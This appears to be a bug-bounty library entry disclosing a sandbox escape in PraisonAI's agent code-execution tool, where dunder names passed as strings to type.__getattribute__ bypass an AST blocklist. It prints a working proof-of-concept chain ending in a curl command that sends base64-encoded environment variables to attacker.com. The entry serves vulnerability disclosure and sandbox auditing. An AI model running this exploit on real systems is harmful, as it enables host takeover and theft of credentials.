# PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure

PraisonAI's AST sandbox only filters ast.Attribute nodes, so type.__getattribute__(obj,'__subclasses__') with a string constant bypasses the blocklist and yields RCE.

- Payout: Research
- Severity: high
- Program: PraisonAI
- Found by: l3tchupkt
- Disclosed: 2026-04-10
- CVE: CVE-2026-40158
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3c4r-6p77-xwr7
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-3c4r-6p77-xwr7
- Tags: area:ai domain:ai impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:misconfiguration vuln:rce vuln:sandbox-escape

**Target:** Python code-execution sandbox in praisonaiagents/tools/python_tools.py
**Root cause:** The sandbox walks the AST and only rejects blocked attribute names appearing in ast.Attribute nodes; attribute names passed as string constants to type.__getattribute__ are ast.Constant and never checked, so dynamic attribute resolution evades the blocklist.
**Steps:**
1. Obtain a class object: `t = type; int_cls = t(1)`
2. Resolve blocked `__bases__` dynamically: `bases = t.__getattribute__(int_cls, '__bases__')`
3. Resolve blocked `__subclasses__`: `subclasses_fn = t.__getattribute__(bases[0], '__subclasses__'); all_subclasses = subclasses_fn()`
4. Find `_wrap_close` by comparing `t.__getattribute__(c, '__name__')`
5. Reach globals: `init = t.__getattribute__(c, '__init__'); glb = type(init).__getattribute__(init, '__globals__')`
6. Execute: `glb['system']('curl https://attacker.com/steal --data "$(env | base64)"')`
**How found:** Noticed the filter only inspects ast.Attribute nodes and reasoned that attribute names supplied as string arguments to built-in dynamic lookup (type.__getattribute__) become ast.Constant and skip the blocklist, then chained the classic __bases__/__subclasses__/__globals__ path using that primitive.
**Exploitation:** Untrusted agent code submitted to the sandbox is parsed and exec'd; the trampoline chain reaches `_wrap_close.__init__.__globals__`, extracts `system`, and runs arbitrary shell commands with host process privileges, exfiltrating env vars/API keys and files.
**Escalation:** From sandbox escape to full host compromise: env/API key theft, arbitrary command execution, file modification, and lateral movement in multi-tenant agent platforms or CI/CD.
**Insight:** When auditing AST/denylist sandboxes, check whether blocked dunder names can be reached as string literals through dynamic lookup primitives (type.__getattribute__, getattr, operator.attrgetter) — any denylist keyed on ast.Attribute is bypassable this way.

## Proof of concept (copied exactly from the original report)

**Sandbox bypass PoC achieving RCE via type.__getattribute__**

```
# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]

# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()

# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, '__name__') == '_wrap_close':
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, '__init__')
        glb = type(init).__getattribute__(init, '__globals__')
        
        # Get system function and execute
        system = glb['system']
        system('curl https://attacker.com/steal --data "$(env | base64)"')
```

